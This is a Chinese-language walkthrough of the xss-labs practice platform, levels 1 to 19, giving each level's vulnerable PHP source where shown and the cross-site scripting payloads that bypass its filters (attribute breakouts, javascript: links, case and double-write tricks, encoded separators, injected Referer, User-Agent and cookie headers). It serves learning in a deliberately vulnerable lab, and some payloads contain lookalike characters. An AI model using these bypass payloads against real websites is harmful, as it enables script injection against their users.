之前学习xss时用过,发出来与大家交流
介绍
XSS,全称跨站脚本,XSS跨站脚本(Cross-Site Scripting,XSS(与css-层叠样式表冲突,所以命名为xss)),某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需要注意的是,XSS不仅仅扩展JavaScript,还包括flash等其他脚本语言。根据恶意代码是否存储在服务器中,XSS可以分为存储型的XSS与反射型的XSS
首先介绍一下xss-lab,xss-lab是一个用于学习xss注入的平台,使用php编写的后台代码,一共有20关,每一 关都有不同的xss注入漏洞,我们要找出漏洞,并且通过漏洞注入代码,方可以通关。
? 虽然每一关都是不同的,但是注入的方法只有几种,不过涉及的知识点是比较多而且广泛的,大多都是与前 端相关的。xss-lab后面会涉及flash xss攻击,后面将会单独作为章节。
? 关于涉及到的知识点,会在注入的时候提到
XSS-LABS
LESS-1
GET型注入
传入name的值会在页面产生回显
尝试标签注入
name=<script>alert(1)</script>
通关
源码
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
注入之后:
<h2 align=center>欢迎用户<script>alert(1)</script></h2>
LESS-2
F12发现我们传入的值在input中,所以无法执行,我们就要考虑将其闭合执行后面的语句
"><script>alert(1)</script>
通关
在input标签中,value属性没有过滤,所以有xss注入漏洞
本关在h2标签中有防御机制,但是在input中是没有的,所以可以在input中注入
LESS-3
第三关使用一下会发现<>被htmlspecialchars码了
在htmlspecialchars编码下特殊符号会被编译成其他编码
< '<');
> '>');
" '"');
' ''');
闭合再构造就可以了'οnclick='alert("xss"),之所以不用<script>是因为<>仍然会被转义,只是由于当作字符串来显示,所以看到的是正常的而已
源码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>//此处对单引号进行转移
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
LESS-4
构造poc:"οnclick="alert(1),成功弹窗
和上面那一题差不多,只是改了一下闭合的条件
<h2 align=center>没有找到和"οnclick="alert(1)相关的结果.</h2><center>
<form action=level4.php method=GET>
<input name=keyword value=""οnclick="alert(1)">
<input type=submit name=submit value=搜索 />
</form>
源码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2); //只是对<>进行过滤,奈何咱们没用<>,嘿嘿
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
LESS-5
过滤了script和onclick标签,但是没过滤a标签
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);//对<script进行字符替换
$str3=str_replace("on","o_n",$str2);//对on进行字符替换
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
"><a href='javascript:alert(1)'>
LESS-6
过滤了script,onclick,href,但是由于是用str_replace函数来过滤的,所以可以用大小写绕过
"><a HREF=" javascript:alert(1)"'>
构造onlick的poc"onclick="alert(1)
<input name=keyword value="" o_nclick="alert(1)"><!--又是对on进行替换>
- 尝试基础poc
<script>alert(1)</script>
<input name=keyword value="<scr_ipt>alert(1)</script>"><!--仍然对<script进行替换-->
- 尝试伪协议poc:
"><a href='javascript:alert(1)'>
<input name=keyword value=""><a hr_ef='javascript:alert(1)'>"><!--这里新添加对href进行替换-->
既然都被过滤,就从以下三个方面入手
- 大小写
- 重复写
- 编码绕过 这里先尝试大小写,重新构造payload:
"><a Href='javascript:alert(1)'>
源码<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
LESS-7
继续使用伪协议poc:"><a Href='javascript:alert(1)'>
<input name=keyword value=""><a ='java:alert(1)'>"><!--后端过滤了href script-->
复写绕过
尝试复写绕过,构造新payload"><a hrehreff='javascscriptript:alert(1)'>
源码
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);//总的来说,只是把敏感字符串删除,并没有替换安全啊
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
LESS-8
添加链接?尝试一下伪协议咯poc:javascript='alert(1)'
<a href="javascr_ipt='alert(1)'">友情链接</a><!--script进行了替换-->
尝试一下大小写呢?poc:javasCript='alert(1)'
<a href="javascr_ipt='alert(1)'">友情链接</a><!--仍然没有变,看来进行了大小写转化-->
那就进行编码尝试(html;),payload:
javascript:alert(1)
可以用BP改
源码
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);//加入了大写变小写的转化函数
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
LESS-9
同样也有友情链接
构造伪协议poc:javascript:alert(1)
<a href="您的链接不合法?有没有!">友情链接</a>
过滤了
源码
<?php
if(false===strpos($str7,'http://'))//进行判断有没有,strpos() 函数查找字符串在另一字符串中第一次出现的位置。
{echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';}
else
{echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
得,原来他需要http://
,重新构造payload:javascript:alert(1)//http://
<a href="javascr_ipt:alert(1)//http://">友情链接</a><!--又替换了script-->
继续编码注入,javascript:alert(1)//http://
至于为什莫http要放在后面,还需要研究研究
源码审计
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';}
else
{echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
LESS-10
直接没有输入框
看前端代码
<h2 align=center>没有找到和well done!相关的结果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
</form>
发现有三个隐藏表单,通过构造poc,查看回显源码
<h2 align=center>没有找到和<script>alert(1)<script>相关的结果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value=""οnclick="alert(1)" type="hidden"><!--发现只有这个标签有变化-->
</form>
通过上面得标签,直接修改元素,将hidden删除,点击触发xss
http://1b024d4e-711d-4af3-b296-723d4146cf57.node4.buuoj.cn:81/level10.php?t_sort=%22οnclick=%22alert(1)%22
构造poc看回显,只有t_sort有回显
源码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
LESS-11
前端代码
发现有个t_ref字段是http referer的值,于是抓包修改
" type="text" οnclick="alert(1)
LESS-12
源码发现t_ua字段是http User-Agent的值,所以还是抓包修改 //换汤不换药
" type="text" οnclick="alert(1)
LESS-13
字段t_cook跟cookie的值一样,抓包修改cookie
Cookie: user=call+me+maybe%3F" type="text" οnclick="alert(1);
LESS-14
要考的应该是通过修改iframe调用
的文件来实现xss注入
查看源码通过iframe标签引入了一个http://exofvoewer.org,
漏洞,上传一个含有xss代码的图片触发xss。
LESS-15
考点是angularjs
不太了解
找了其他大佬的WP学习了一下,原理差不多是以下这样
可以看到我们提交的参数src
的值被插入到了<span>
标签的class
属
性值中,但是前面还有ng-include
这样的字符。
ng-include
是angular js
中的东西,其作用相当于php的include函数。这里就
是将1.gif
这个文件给包含进来。
/level15.php?src='level1.php?name=test<img src=1 οnerrοr=alert(1)>'
说实话,后面的img有点没搞懂,百度一下//IMG标签不需要闭合
如果图片的src 所指的路径路径 不存在图片 则 弹出对话框 显示1
这么说我改成其他的也是可以的
LESS-16
并没有什么特殊的地方,只是参数值被插入到了<center>
标签中。
过滤空格,script,/,使用%0d %0a做分割符
payload:
/level16.php?keyword=<img%0Dsrc=1%0Dοnerrοr=alert(1)>
http://127.0.0.1/xss//level16.php?keyword=<img%0asrc=1%0aοnerrοr=alert(1)>
http://127.0.0.1/xss//level16.php?keyword=<img%0asrc=x%0donError=alert('xss')>
http://127.0.0.1/xss//level16.php?keyword=<iframe%0asrc=x%0dοnmοuseοver=alert`1`></iframe>
空格也被搞了,被实体转换了,使用
%0a
替代空格。
LESS-17
直接在embed标签插入onmouseover事件
<embed>
用来定义嵌入的内容
需要提交两个参数,用a
和b
代替,参数还被转义
我们提交的两个参数的值出现在了<embed>
标签的src属性值中
比如此处可以用onclick事件
测试一下
οnclick=alert('xss')
点击页面响应中显示该swf文件区域的时候成功弹窗
还有其他事件可以触发
http://localhost/xss_test/level17.php?arg01=a&arg02=b οnmοuseοver=alert(1)
LESS-18
和上一关一摸一样??直接用上一关payload
LESS-19
flash xss